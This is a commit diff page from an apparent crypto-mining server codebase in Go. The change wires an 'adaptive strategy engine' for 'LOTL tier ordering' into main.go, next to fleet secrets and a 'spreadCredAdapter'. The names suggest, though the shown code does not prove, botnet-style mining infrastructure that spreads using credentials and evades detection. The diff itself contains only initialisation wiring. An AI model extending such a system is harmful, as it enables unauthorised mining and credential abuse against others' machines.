Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -23,6 +23,7 @@ import (
|
||||
"crypto-miner-server/internal/maintenance"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/scheduler"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
"crypto-miner-server/internal/sys"
|
||||
)
|
||||
|
||||
@@ -134,6 +135,8 @@ func main() {
|
||||
|
||||
// Initialize WebSocket hub
|
||||
wsHub := api.NewWSHub(database)
|
||||
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
||||
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
||||
wsHub.SetAIHandler(aiHandler)
|
||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||
@@ -206,6 +209,9 @@ func main() {
|
||||
config: cfg,
|
||||
onSaved: func(c *Config) {
|
||||
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
|
||||
if adaptiveEngine != nil {
|
||||
adaptiveEngine.SetEnabled(c.Server.AdaptiveStrategyEnabled)
|
||||
}
|
||||
spreadCredAdapter.setConfig(c)
|
||||
},
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user